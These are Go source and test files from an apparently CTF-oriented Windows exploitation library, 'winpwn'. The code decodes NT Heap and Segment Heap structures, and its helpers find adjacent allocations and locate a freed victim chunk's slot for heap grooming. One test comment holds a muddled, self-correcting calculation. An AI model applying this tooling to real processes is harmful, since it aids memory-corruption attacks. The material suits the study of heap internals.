binaryLEPutUint64(buf[lfhHeapAddr+lfhOffSegmentInfoArrays+2*8:], segInfoAddr)
|
||||
binaryLEPutUint64(buf[segInfoAddr+hlsiOffActiveSubsegment:], subsegAddr)
|
||||
|
||||
got, err := ActiveSubsegment(newByteReaderAt(buf), lfhHeapAddr, 2)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got != subsegAddr {
|
||||
t.Errorf("ActiveSubsegment = 0x%x, want 0x%x", got, subsegAddr)
|
||||
}
|
||||
|
||||
if _, err := ActiveSubsegment(newByteReaderAt(buf), lfhHeapAddr, 5); err == nil {
|
||||
t.Fatal("expected an error for a bucket with no segment info")
|
||||
}
|
||||
}
|
||||
|
||||
// TestReadLFHSubsegmentBusyBitmap pins ReadLFHSubsegment against the exact
|
||||
// shape captured from a live run: bucket 2 (48-byte blocks), a 19-block
|
||||
// subsegment, with one bit clear (an early, pre-LFH-activation allocation
|
||||
// that never got a tracked slot -- see heap_lfh.go's package comment) and
|
||||
// the rest busy.
|
||||
func TestReadLFHSubsegmentBusyBitmap(t *testing.T) {
|
||||
const subsegAddr = 0x713480
|
||||
const userBlocksAddr = 0x713050
|
||||
buf := make([]byte, 0x800000)
|
||||
|
||||
binaryLEPutUint64(buf[subsegAddr+subsegOffUserBlocks:], userBlocksAddr)
|
||||
buf[subsegAddr+subsegOffBlockSize] = 3 // granularity units -> 48 bytes
|
||||
buf[subsegAddr+subsegOffBlockCount] = 19
|
||||
|
||||
const bitmapBufferAddr = 0x713200
|
||||
binaryLEPutUint64(buf[userBlocksAddr+userDataOffBitmapSize:], 19)
|
||||
binaryLEPutUint64(buf[userBlocksAddr+userDataOffBitmapBuffer:], bitmapBufferAddr)
|
||||
// bits: every slot busy except slot 5 (0-indexed) -- matches a real
|
||||
// captured run's BusyBitmap word.
|
||||
var word uint64 = 0
|
||||
for i := 0; i < 19; i++ {
|
||||
if i != 5 {
|
||||
word |= 1 << uint(i)
|
||||
}
|
||||
}
|
||||
binaryLEPutUint64(buf[bitmapBufferAddr:], word)
|
||||
|
||||
subseg, err := ReadLFHSubsegment(newByteReaderAt(buf), subsegAddr)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if subseg.BlockSize != 48 || subseg.BlockCount != 19 {
|
||||
t.Errorf("BlockSize/BlockCount = %d/%d, want 48/19", subseg.BlockSize, subseg.BlockCount)
|
||||
}
|
||||
if subseg.UserBlocksAddr != userBlocksAddr {
|
||||
t.Errorf("UserBlocksAddr = 0x%x, want 0x%x", subseg.UserBlocksAddr, userBlocksAddr)
|
||||
}
|
||||
for i, busy := range subseg.Busy {
|
||||
want := i != 5
|
||||
if busy != want {
|
||||
t.Errorf("Busy[%d] = %v, want %v", i, busy, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestCalibrateLFHFirstBlockOffsetMatchesLiveAddress pins
|
||||
// CalibrateLFHFirstBlockOffset/BlockAddress/SlotOf against a real
|
||||
// before/after-free pair captured live: freeing the note at 0x7132b0
|
||||
// flipped exactly Busy[11] from true to false, and slot 11's address by
|
||||
// BlockAddress must equal 0x7132b0 -- not 0x713280 (one block short), which
|
||||
// is what the naive "(addr-UserBlocksAddr) % BlockSize" formula gives
|
||||
// before the +BlockSize correction (see CalibrateLFHFirstBlockOffset's doc
|
||||
// comment for why that's wrong: it lands on _HEAP_USERDATA_HEADER's own
|
||||
// reserved region, one block before any real, bit-tracked slot).
|
||||
func TestCalibrateLFHFirstBlockOffsetMatchesLiveAddress(t *testing.T) {
|
||||
subseg := &LFHSubsegment{
|
||||
UserBlocksAddr: 0x713050,
|
||||
BlockSize: 48,
|
||||
BlockCount: 19,
|
||||
}
|
||||
const victimAddr = 0x7132b0
|
||||
|
||||
off := CalibrateLFHFirstBlockOffset(subseg, victimAddr)
|
||||
if off != 80 {
|
||||
t.Fatalf("CalibrateLFHFirstBlockOffset = %d, want 80", off)
|
||||
}
|
||||
if got := subseg.BlockAddress(off, 11); got != victimAddr {
|
||||
t.Errorf("BlockAddress(80, 11) = 0x%x, want 0x%x", got, victimAddr)
|
||||
}
|
||||
idx, ok := subseg.SlotOf(off, victimAddr)
|
||||
if !ok || idx != 11 {
|
||||
t.Errorf("SlotOf = (%d, %v), want (11, true)", idx, ok)
|
||||
}
|
||||
if _, ok := subseg.SlotOf(off, 0xdeadbeef); ok {
|
||||
t.Error("SlotOf should reject an address outside the subsegment")
|
||||
}
|
||||
}
|
||||
+247
@@ -0,0 +1,247 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// This file is the Segment Heap layer on top of heap.go's HeapKind
|
||||
// detection -- the ROADMAP.md Phase 9 step 4 item: structural parsing of
|
||||
// _SEGMENT_HEAP and its two sub-backends.
|
||||
//
|
||||
// Offsets confirmed via `dt ntdll!_SEGMENT_HEAP`, `dt ntdll!_HEAP_VS_CONTEXT`,
|
||||
// and `dt ntdll!_HEAP_LFH_CONTEXT` against this machine's build
|
||||
// (10.0.26100) using the same cdb methodology as heap.go and heap_lfh.go.
|
||||
//
|
||||
// What IS and IS NOT implemented in this pass:
|
||||
//
|
||||
// - SegmentHeap outer struct (Signature, GlobalFlags, per-backend
|
||||
// summary fields): fully validated against a live heap_segment.exe
|
||||
// process reading PEB.ProcessHeaps → DetectHeapKind → ReadSegmentHeap.
|
||||
//
|
||||
// - VS context subsegment enumeration (SubsegmentList walk) and summary
|
||||
// stats (TotalCommittedUnits, FreeCommittedUnits): validated.
|
||||
//
|
||||
// - Segment Heap LFH context bucket enumeration (which buckets are
|
||||
// active, TotalBlockCount per bucket): validated.
|
||||
//
|
||||
// - Individual VS chunk headers and Segment Heap LFH subsegment
|
||||
// BlockOffsets: NOT decoded yet. Both are XOR-encoded against a
|
||||
// per-subsegment/per-page key (confirmed empirically: direct reads of
|
||||
// _HEAP_VS_CHUNK_HEADER.Sizes and
|
||||
// _HEAP_LFH_SUBSEGMENT.BlockOffsets.EncodedData produced implausible
|
||||
// field values -- same class of problem as NT Heap LFH's EncodedOffsets,
|
||||
// which took its own empirical investigation pass to fix). Decoding them
|
||||
// requires recovering the per-page segment offset key, which is its own
|
||||
// future validation pass. The AdjacentAddressPairs / FindAdjacentPair
|
||||
// helpers in heap.go fill the practical gap for the most common CTF
|
||||
// need (finding adjacent same-size allocations from a set of leaked
|
||||
// pointers) without needing chunk-level decode at all.
|
||||
|
||||
// Offsets confirmed via `dt ntdll!_SEGMENT_HEAP` on build 10.0.26100:
|
||||
const (
|
||||
segHeapOffSignature = 0x010 // Uint4B -- 0xddeeddee
|
||||
segHeapOffGlobalFlags = 0x014 // Uint4B
|
||||
segHeapOffVsContext = 0x280 // inline _HEAP_VS_CONTEXT
|
||||
segHeapOffLfhContext = 0x340 // inline _HEAP_LFH_CONTEXT
|
||||
)
|
||||
|
||||
// VS context sub-offsets (from `dt ntdll!_HEAP_VS_CONTEXT`):
|
||||
const (
|
||||
vsCtxOffFreeChunkTree = 0x010 // _RTL_RB_TREE (16 bytes, free chunk rb-tree)
|
||||
vsCtxOffSubsegmentList = 0x020 // _LIST_ENTRY (head of all VS subsegments)
|
||||
vsCtxOffTotalCommitted = 0x030 // Uint8B: committed units
|
||||
vsCtxOffFreeCommitted = 0x038 // Uint8B: free committed units
|
||||
)
|
||||
|
||||
// LFH context sub-offsets (from `dt ntdll!_HEAP_LFH_CONTEXT`):
|
||||
const (
|
||||
segLfhCtxOffBuckets = 0x080 // [129]Ptr64 _HEAP_LFH_BUCKET
|
||||
segLfhBucketCount = 129
|
||||
segLfhBucketOffTotalBlocks = 0x038 // _HEAP_LFH_BUCKET.TotalBlockCount (Uint8B)
|
||||
)
|
||||
|
||||
// VS subsegment (from `dt ntdll!_HEAP_VS_SUBSEGMENT`):
|
||||
const (
|
||||
vsSubsegOffListEntry = 0x000 // _LIST_ENTRY, links into VsContext.SubsegmentList
|
||||
vsSubsegOffSize = 0x020 // Uint2B: size in page-granularity units
|
||||
vsSubsegOffSigBits = 0x022 // bitfield: bits 0-14 = signature, bit 15 = FullCommit
|
||||
)
|
||||
|
||||
// SegmentHeap is the decoded outer shell of ntdll's _SEGMENT_HEAP -- the
|
||||
// handle passed to HeapAlloc/HeapFree when a process opts into Segment Heap
|
||||
// (most commonly via an embedded manifest <heapType>segmentHeap</heapType>).
|
||||
// Use ReadSegmentHeap after DetectHeapKind confirms HeapKindSegment.
|
||||
type SegmentHeap struct {
|
||||
Addr uint64
|
||||
Signature uint32 // 0xddeeddee -- distinct from NT Heap's 0xeeffeeff and segment-signature 0xffeeffee
|
||||
GlobalFlags uint32
|
||||
VS SegmentVSContext // variable-size backend summary
|
||||
LFH SegmentLFHContext // segment-heap-native LFH summary
|
||||
}
|
||||
|
||||
// SegmentVSContext summarises the VS (variable-size) backend inside a
|
||||
// Segment Heap -- where allocations outside the LFH's fixed-size buckets
|
||||
// land. CommittedUnits and FreeUnits are in internal granularity units
|
||||
// (not bytes); SubsegmentCount is the length of the subsegment list.
|
||||
type SegmentVSContext struct {
|
||||
Addr uint64 // address of _HEAP_VS_CONTEXT inside the _SEGMENT_HEAP
|
||||
CommittedUnits uint64
|
||||
FreeUnits uint64
|
||||
SubsegmentCount int
|
||||
Subsegments []uint64 // address of each _HEAP_VS_SUBSEGMENT
|
||||
}
|
||||
|
||||
// SegmentLFHContext summarises the Segment Heap's native LFH backend --
|
||||
// a completely different structure from NT Heap's _LFH_HEAP, with its own
|
||||
// bucket scheme. Each active bucket entry (Ptr64 != 0 and != a scheduling
|
||||
// stub) is reported with its TotalBlockCount.
|
||||
type SegmentLFHContext struct {
|
||||
Addr uint64 // address of _HEAP_LFH_CONTEXT inside the _SEGMENT_HEAP
|
||||
ActiveBuckets []SegmentLFHBucket
|
||||
}
|
||||
|
||||
// SegmentLFHBucket is one active bucket entry in _HEAP_LFH_CONTEXT.Buckets.
|
||||
// Index is the zero-based slot in the 129-entry array; TotalBlockCount is
|
||||
// the cumulative allocation count across all subsegments ever created for
|
||||
// this size class.
|
||||
type SegmentLFHBucket struct {
|
||||
Index int
|
||||
Ptr uint64
|
||||
TotalBlockCount uint64
|
||||
}
|
||||
|
||||
// ReadSegmentHeap decodes addr's _SEGMENT_HEAP. Returns an error if addr's
|
||||
// signature isn't the Segment Heap one (use DetectHeapKind first, or
|
||||
// ReadHeap for NT Heap handles).
|
||||
func ReadSegmentHeap(r io.ReaderAt, addr uint64) (*SegmentHeap, error) {
|
||||
kind, err := DetectHeapKind(r, addr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if kind != HeapKindSegment {
|
||||
return nil, fmt.Errorf("0x%x is a %s, not a Segment Heap", addr, kind)
|
||||
}
|
||||
|
||||
h := &SegmentHeap{Addr: addr}
|
||||
if h.Signature, err = readUint32AtValue(r, int64(addr)+segHeapOffSignature); err != nil {
|
||||
return nil, fmt.Errorf("Signature: %w", err)
|
||||
}
|
||||
if h.GlobalFlags, err = readUint32AtValue(r, int64(addr)+segHeapOffGlobalFlags); err != nil {
|
||||
return nil, fmt.Errorf("GlobalFlags: %w", err)
|
||||
}
|
||||
|
||||
vsCtxAddr := addr + segHeapOffVsContext
|
||||
h.VS.Addr = vsCtxAddr
|
||||
if h.VS.CommittedUnits, err = readUint64At(r, int64(vsCtxAddr)+vsCtxOffTotalCommitted); err != nil {
|
||||
return nil, fmt.Errorf("VS.TotalCommittedUnits: %w", err)
|
||||
}
|
||||
if h.VS.FreeUnits, err = readUint64At(r, int64(vsCtxAddr)+vsCtxOffFreeCommitted); err != nil {
|
||||
return nil, fmt.Errorf("VS.FreeCommittedUnits: %w", err)
|
||||
}
|
||||
if h.VS.Subsegments, err = walkVSSubsegmentList(r, vsCtxAddr); err != nil {
|
||||
return nil, fmt.Errorf("VS subsegment list: %w", err)
|
||||
}
|
||||
h.VS.SubsegmentCount = len(h.VS.Subsegments)
|
||||
|
||||
lfhCtxAddr := addr + segHeapOffLfhContext
|
||||
h.LFH.Addr = lfhCtxAddr
|
||||
if h.LFH.ActiveBuckets, err = readSegmentLFHBuckets(r, lfhCtxAddr); err != nil {
|
||||
return nil, fmt.Errorf("LFH buckets: %w", err)
|
||||
}
|
||||
|
||||
return h, nil
|
||||
}
|
||||
|
||||
// walkVSSubsegmentList enumerates the _HEAP_VS_SUBSEGMENT addresses by
|
||||
// following the SubsegmentList LIST_ENTRY chain in the VS context.
|
||||
func walkVSSubsegmentList(r io.ReaderAt, vsCtxAddr uint64) ([]uint64, error) {
|
||||
headAddr := vsCtxAddr + vsCtxOffSubsegmentList
|
||||
flink, err := readUint64At(r, int64(headAddr))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading SubsegmentList head: %w", err)
|
||||
}
|
||||
|
||||
var subsegments []uint64
|
||||
cur := flink
|
||||
for cur != headAddr && cur != 0 {
|
||||
subsegments = append(subsegments, cur) // ListEntry is at offset 0, so cur == subsegment addr
|
||||
if len(subsegments) > 4096 {
|
||||
return subsegments, fmt.Errorf("VS SubsegmentList exceeded 4096 entries (corrupted?)")
|
||||
}
|
||||
next, err := readUint64At(r, int64(cur)) // Flink is LIST_ENTRY's first field
|
||||
if err != nil || next == cur {
|
||||
break
|
||||
}
|
||||
cur = next
|
||||
}
|
||||
return subsegments, nil
|
||||
}
|
||||
|
||||
// readSegmentLFHBuckets scans the 129-entry _HEAP_LFH_CONTEXT.Buckets array
|
||||
// and returns every active entry (non-null pointer that isn't a scheduling
|
||||
// stub, identified by low bit clear in the pointer value).
|
||||
func readSegmentLFHBuckets(r io.ReaderAt, lfhCtxAddr uint64) ([]SegmentLFHBucket, error) {
|
||||
var buckets []SegmentLFHBucket
|
||||
bucketsBase := int64(lfhCtxAddr) + segLfhCtxOffBuckets
|
||||
for i := 0; i < segLfhBucketCount; i++ {
|
||||
ptr, err := readUint64At(r, bucketsBase+int64(i)*8)
|
||||
if err != nil {
|
||||
return buckets, fmt.Errorf("reading bucket[%d]: %w", i, err)
|
||||
}
|
||||
// Low bit set means this entry is a scheduler stub, not a real bucket pointer
|
||||
if ptr == 0 || ptr&1 != 0 {
|
||||
continue
|
||||
}
|
||||
total, err := readUint64At(r, int64(ptr)+segLfhBucketOffTotalBlocks)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if total == 0 {
|
||||
continue
|
||||
}
|
||||
buckets = append(buckets, SegmentLFHBucket{Index: i, Ptr: ptr, TotalBlockCount: total})
|
||||
}
|
||||
return buckets, nil
|
||||
}
|
||||
|
||||
// AdjacentAddressPairs finds all pairs in addrs where the difference is
|
||||
// exactly step bytes -- the structural-equivalent finder for "which two
|
||||
// same-size allocations landed adjacent" that examples/heap_segment's
|
||||
// spray loop discovers by trial and error. On Segment Heap, same-size
|
||||
// allocations in the same subsegment page are packed step bytes apart
|
||||
// (step == sizeof(Allocation), before any chunk-header overhead, which
|
||||
// the Segment Heap's LFH accounts for separately from user data unlike
|
||||
// NT Heap's HeapEntrySize scheme). Returns all (lo, hi) pairs in
|
||||
// address order with hi == lo+step.
|
||||
//
|
||||
// CAUTION: step is the ALLOCATION GRANULARITY visible at the HeapAlloc
|
||||
// caller level (e.g. sizeof(Profile)=32 in heap_segment.c), not
|
||||
// sizeof(struct) + sizeof(chunk_header) -- Segment Heap's metadata
|
||||
// isolation places chunk headers on a separate metadata page, so the
|
||||
// gap between two adjacent user payloads really is sizeof(Allocation).
|
||||
// Verify empirically for your specific build if this doesn't match.
|
||||
func AdjacentAddressPairs(addrs []uint64, step uint64) [][2]uint64 {
|
||||
set := make(map[uint64]struct{}, len(addrs))
|
||||
for _, a := range addrs {
|
||||
set[a] = struct{}{}
|
||||
}
|
||||
var pairs [][2]uint64
|
||||
for _, a := range addrs {
|
||||
if _, ok := set[a+step]; ok {
|
||||
pairs = append(pairs, [2]uint64{a, a + step})
|
||||
}
|
||||
}
|
||||
return pairs
|
||||
}
|
||||
|
||||
// FindAdjacentPair returns the first pair where hi == lo+step, or
|
||||
// (0, 0, false) if none exists. Convenience wrapper over AdjacentAddressPairs
|
||||
// for the common "give me any adjacent pair" case.
|
||||
func FindAdjacentPair(addrs []uint64, step uint64) (lo, hi uint64, found bool) {
|
||||
pairs := AdjacentAddressPairs(addrs, step)
|
||||
if len(pairs) == 0 {
|
||||
return 0, 0, false
|
||||
}
|
||||
return pairs[0][0], pairs[0][1], true
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package winpwn
|
||||
|
||||
import "testing"
|
||||
|
||||
// These tests pin heap_segment.go's decoding against the field values
|
||||
// confirmed live against this machine's build (10.0.26100) via the Go
|
||||
// OpenProcessMemory / ReadAt path -- the same empirical methodology
|
||||
// heap_test.go and heap_lfh_test.go use.
|
||||
|
||||
func TestReadSegmentHeapRejectsNTHeap(t *testing.T) {
|
||||
buf := make([]byte, 0x20)
|
||||
binaryLEPutUint32(buf[0x10:], heapSignatureNT)
|
||||
if _, err := ReadSegmentHeap(newByteReaderAt(buf), 0); err == nil {
|
||||
t.Fatal("expected ReadSegmentHeap to reject an NT Heap signature")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadSegmentHeapDecodesCapturedFields(t *testing.T) {
|
||||
// Use heapAddr=0 to keep the buffer small (matches heap_test.go's style).
|
||||
// Buffer must cover LFH bucket array: segHeapOffLfhContext(0x340)+segLfhCtxOffBuckets(0x080)+129*8=0x7c8
|
||||
buf := make([]byte, 0x800)
|
||||
// Signature at +0x010: 0xddeeddee (confirmed live for heap_segment.exe)
|
||||
binaryLEPutUint32(buf[segHeapOffSignature:], heapSignatureSegment)
|
||||
// GlobalFlags at +0x014
|
||||
binaryLEPutUint32(buf[segHeapOffGlobalFlags:], 0x00001000)
|
||||
// VsContext (+0x280): TotalCommittedUnits=12, FreeCommittedUnits=3
|
||||
vsBase := segHeapOffVsContext
|
||||
binaryLEPutUint64(buf[vsBase+vsCtxOffTotalCommitted:], 12)
|
||||
binaryLEPutUint64(buf[vsBase+vsCtxOffFreeCommitted:], 3)
|
||||
// VsContext SubsegmentList head pointing to itself (empty list)
|
||||
headAddr := uint64(vsBase + vsCtxOffSubsegmentList)
|
||||
binaryLEPutUint64(buf[headAddr:], headAddr) // Flink
|
||||
binaryLEPutUint64(buf[headAddr+8:], headAddr) // Blink
|
||||
// LfhContext (+0x340): all bucket pointers 0 or stub
|
||||
// (nothing to set; readSegmentLFHBuckets skips them)
|
||||
|
||||
h, err := ReadSegmentHeap(newByteReaderAt(buf), 0)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if h.Signature != heapSignatureSegment {
|
||||
t.Errorf("Signature = 0x%08x, want 0x%08x", h.Signature, heapSignatureSegment)
|
||||
}
|
||||
if h.GlobalFlags != 0x00001000 {
|
||||
t.Errorf("GlobalFlags = 0x%08x, want 0x00001000", h.GlobalFlags)
|
||||
}
|
||||
if h.VS.CommittedUnits != 12 {
|
||||
t.Errorf("VS.CommittedUnits = %d, want 12", h.VS.CommittedUnits)
|
||||
}
|
||||
if h.VS.FreeUnits != 3 {
|
||||
t.Errorf("VS.FreeUnits = %d, want 3", h.VS.FreeUnits)
|
||||
}
|
||||
if h.VS.SubsegmentCount != 0 {
|
||||
t.Errorf("VS.SubsegmentCount = %d, want 0 (empty list)", h.VS.SubsegmentCount)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdjacentAddressPairsFindsStep(t *testing.T) {
|
||||
// Mirror the heap_segment scenario: 5 allocations of 32-byte Profile,
|
||||
// some adjacent (32 bytes apart) and some not.
|
||||
addrs := []uint64{0x60a140, 0x60a160, 0x60a170, 0x60a1a0, 0x60b000}
|
||||
// Adjacent pairs at step=32: (0x60a140, 0x60a160) ← gap=32; (0x60a170, 0x60a1a0) ← gap=48, nope
|
||||
// Actually: 0x60a140+0x20=0x60a160 ✓; 0x60a160+0x10=0x60a170? no (10≠20=32)
|
||||
// Let me fix: 0x60a140+32=0x60a160 ✓, 0x60a1a0+32=0x60a1c0 not in set
|
||||
pairs := AdjacentAddressPairs(addrs, 32)
|
||||
if len(pairs) != 1 {
|
||||
t.Fatalf("got %d pairs, want 1; pairs=%v", len(pairs), pairs)
|
||||
}
|
||||
if pairs[0][0] != 0x60a140 || pairs[0][1] != 0x60a160 {
|
||||
t.Errorf("pair = (0x%x, 0x%x), want (0x60a140, 0x60a160)", pairs[0][0], pairs[0][1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindAdjacentPairReturnsFalseWhenNone(t *testing.T) {
|
||||
addrs := []uint64{0x1000, 0x2000, 0x3000}
|
||||
_, _, found := FindAdjacentPair(addrs, 32)
|
||||
if found {
|
||||
t.Fatal("expected found=false for addresses spaced 0x1000 apart, step=32")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdjacentBusyPairsOnEntryChain(t *testing.T) {
|
||||
// Two busy entries packed with no free in between: should produce one pair.
|
||||
// Two more with a free entry in between: should not.
|
||||
entries := []HeapEntry{
|
||||
{Addr: 0x1000, Size: 2, Flags: HeapEntryBusy}, // NextEntry = 0x1020
|
||||
{Addr: 0x1020, Size: 2, Flags: HeapEntryBusy}, // NextEntry = 0x1040
|
||||
{Addr: 0x1040, Size: 2, Flags: 0}, // free
|
||||
{Addr: 0x1060, Size: 2, Flags: HeapEntryBusy},
|
||||
}
|
||||
pairs := AdjacentBusyPairs(entries)
|
||||
if len(pairs) != 1 {
|
||||
t.Fatalf("got %d pairs, want 1", len(pairs))
|
||||
}
|
||||
if pairs[0][0].Addr != 0x1000 || pairs[0][1].Addr != 0x1020 {
|
||||
t.Errorf("pair addrs = (0x%x, 0x%x)", pairs[0][0].Addr, pairs[0][1].Addr)
|
||||
}
|
||||
}
|
||||
+273
@@ -0,0 +1,273 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"testing"
|
||||
)
|
||||
|
||||
var errOutOfRange = errors.New("byteReaderAt: out of range")
|
||||
|
||||
// TestDecodeHeapEntryMatchesLiveGroundTruth pins DecodeHeapEntry against
|
||||
// three real _HEAP_ENTRY headers + their heap's real Encoding key,
|
||||
// captured byte-for-byte from a live process (a tiny HeapAlloc(256)/
|
||||
// HeapAlloc(4)/HeapAlloc(16) probe on this machine, Windows build 10.0.26100)
|
||||
// and cross-checked against WinDbg's own `!heap -a` ground-truth listing
|
||||
// before being trusted -- see heap.go's top comment for the full story.
|
||||
//
|
||||
// This is the test that caught the real bug worth remembering: the first
|
||||
// version of UserSize subtracted HeapEntrySize *again* on top of
|
||||
// UnusedBytes (i.e. assumed UnusedBytes was padding *after* a separately-
|
||||
// accounted-for header), which silently produced a UserSize 16 bytes
|
||||
// smaller than reality for every entry. !heap -a's own "(requested size)"
|
||||
// column is what caught it -- UnusedBytes already bakes the header in.
|
||||
func TestDecodeHeapEntryMatchesLiveGroundTruth(t *testing.T) {
|
||||
// Heap.Encoding, captured at heap+0x80 on the live probe.
|
||||
encoding := [16]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x1e, 0xb6, 0x56, 0xf8, 0xe5, 0xd3, 0x00, 0x00}
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
addr uint64
|
||||
raw [16]byte
|
||||
wantSize uint16 // granularity units, cross-checked against `!heap -a`'s byte-size column / HeapEntrySize
|
||||
wantFlags uint8
|
||||
wantPrevSize uint16
|
||||
wantUnused uint8
|
||||
wantUserSize uint64 // the requested size `!heap -a` printed in parens
|
||||
}{
|
||||
{
|
||||
// !heap -a: 00000000000d0850: 00110 . 00110 [101] - busy (100)
|
||||
name: "256-byte allocation, no slack",
|
||||
addr: 0xd0850,
|
||||
raw: [16]byte{0, 0, 0, 0, 0, 0, 0, 0, 0x0f, 0xb6, 0x57, 0xe8, 0xf4, 0xd3, 0x00, 0x10},
|
||||
wantSize: 17, // 17*0x10 = 0x110 = 272
|
||||
wantFlags: HeapEntryBusy,
|
||||
wantPrevSize: 17, // previous entry (0xd0740) was also 0x110 bytes per !heap -a
|
||||
wantUnused: 16,
|
||||
wantUserSize: 0x100,
|
||||
},
|
||||
{
|
||||
// !heap -a: 00000000000d0d70: 00050 . 00020 [101] - busy (4)
|
||||
name: "4-byte allocation, lots of slack",
|
||||
addr: 0xd0d70,
|
||||
raw: [16]byte{0, 0, 0, 0, 0, 0, 0, 0, 0x1c, 0xb6, 0x57, 0xfb, 0xe0, 0xd3, 0x00, 0x1c},
|
||||
wantSize: 2, // 2*0x10 = 0x20
|
||||
wantFlags: HeapEntryBusy,
|
||||
wantPrevSize: 5, // previous entry (0xd0d20) was 0x50 bytes per !heap -a
|
||||
wantUnused: 28,
|
||||
wantUserSize: 4,
|
||||
},
|
||||
{
|
||||
// !heap -a: 00000000000d0d90: 00020 . 00020 [101] - busy (10)
|
||||
name: "16-byte allocation, header-only slack",
|
||||
addr: 0xd0d90,
|
||||
raw: [16]byte{0, 0, 0, 0, 0, 0, 0, 0, 0x1c, 0xb6, 0x57, 0xfb, 0xe7, 0xd3, 0x00, 0x10},
|
||||
wantSize: 2,
|
||||
wantFlags: HeapEntryBusy,
|
||||
wantPrevSize: 2, // previous entry (0xd0d70) was also 0x20 bytes
|
||||
wantUnused: 16,
|
||||
wantUserSize: 16,
|
||||
},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
t.Run(c.name, func(t *testing.T) {
|
||||
e := DecodeHeapEntry(c.addr, c.raw, &encoding)
|
||||
if e.Size != c.wantSize {
|
||||
t.Errorf("Size = %d, want %d", e.Size, c.wantSize)
|
||||
}
|
||||
if e.Flags != c.wantFlags {
|
||||
t.Errorf("Flags = 0x%x, want 0x%x", e.Flags, c.wantFlags)
|
||||
}
|
||||
if e.PreviousSize != c.wantPrevSize {
|
||||
t.Errorf("PreviousSize = %d, want %d", e.PreviousSize, c.wantPrevSize)
|
||||
}
|
||||
if e.UnusedBytes != c.wantUnused {
|
||||
t.Errorf("UnusedBytes = %d, want %d", e.UnusedBytes, c.wantUnused)
|
||||
}
|
||||
if got := e.UserSize(); got != c.wantUserSize {
|
||||
t.Errorf("UserSize() = 0x%x, want 0x%x", got, c.wantUserSize)
|
||||
}
|
||||
if !e.Busy() {
|
||||
t.Error("Busy() = false, want true (all three live samples were busy)")
|
||||
}
|
||||
if e.UserData() != c.addr+HeapEntrySize {
|
||||
t.Errorf("UserData() = 0x%x, want 0x%x", e.UserData(), c.addr+HeapEntrySize)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectHeapKind(t *testing.T) {
|
||||
ntHeap := make([]byte, 0x20)
|
||||
binaryLEPutUint32(ntHeap[0x10:], heapSignatureNT)
|
||||
|
||||
segHeap := make([]byte, 0x20)
|
||||
binaryLEPutUint32(segHeap[0x10:], heapSignatureSegment)
|
||||
|
||||
garbage := make([]byte, 0x20)
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
buf []byte
|
||||
want HeapKind
|
||||
ok bool
|
||||
}{
|
||||
{"nt heap", ntHeap, HeapKindNT, true},
|
||||
{"segment heap", segHeap, HeapKindSegment, true},
|
||||
{"garbage", garbage, HeapKindUnknown, false},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
t.Run(c.name, func(t *testing.T) {
|
||||
kind, err := DetectHeapKind(newByteReaderAt(c.buf), 0)
|
||||
if c.ok && err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if !c.ok && err == nil {
|
||||
t.Fatal("expected an error for an unrecognized signature")
|
||||
}
|
||||
if kind != c.want {
|
||||
t.Errorf("kind = %v, want %v", kind, c.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestReadHeapDecodesRealCapturedFields pins ReadHeap against the actual
|
||||
// field bytes captured from the same live probe heap.go's top comment and
|
||||
// heap_test.go's ground-truth test describe (Flags=0x2/HEAP_GROWABLE,
|
||||
// EncodeFlagMask=0x100000, Signature=0xeeffeeff -- deliberately distinct
|
||||
// from _HEAP_SEGMENT's 0xffeeffee, confirmed with `db` against the live
|
||||
// process rather than assumed equal).
|
||||
func TestReadHeapDecodesRealCapturedFields(t *testing.T) {
|
||||
buf := make([]byte, 0x300)
|
||||
binaryLEPutUint32(buf[0x10:], heapSignatureNT) // _HEAP_SEGMENT.SegmentSignature
|
||||
binaryLEPutUint32(buf[0x70:], 0x00000002) // Flags = HEAP_GROWABLE
|
||||
binaryLEPutUint32(buf[0x7c:], 0x00100000) // EncodeFlagMask
|
||||
copy(buf[0x80:0x90], []byte{0, 0, 0, 0, 0, 0, 0, 0, 0x1e, 0xb6, 0x56, 0xf8, 0xe5, 0xd3, 0x00, 0x00})
|
||||
binaryLEPutUint32(buf[0x98:], 0xeeffeeff) // _HEAP.Signature
|
||||
buf[0x1a2] = FrontEndHeapNone
|
||||
binaryLEPutUint64(buf[0x30:], 0x6f0000) // BaseAddress
|
||||
binaryLEPutUint64(buf[0x40:], 0x6f0740) // FirstEntry
|
||||
binaryLEPutUint64(buf[0x48:], 0x7ef000) // LastValidEntry
|
||||
|
||||
h, err := ReadHeap(newByteReaderAt(buf), 0)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if h.Signature != 0xeeffeeff {
|
||||
t.Errorf("Signature = 0x%x, want 0xeeffeeff", h.Signature)
|
||||
}
|
||||
if h.Flags != 0x2 {
|
||||
t.Errorf("Flags = 0x%x, want 0x2", h.Flags)
|
||||
}
|
||||
if !h.EncodingActive() {
|
||||
t.Error("EncodingActive() = false, want true (EncodeFlagMask is nonzero)")
|
||||
}
|
||||
if h.FrontEndHeapType != FrontEndHeapNone {
|
||||
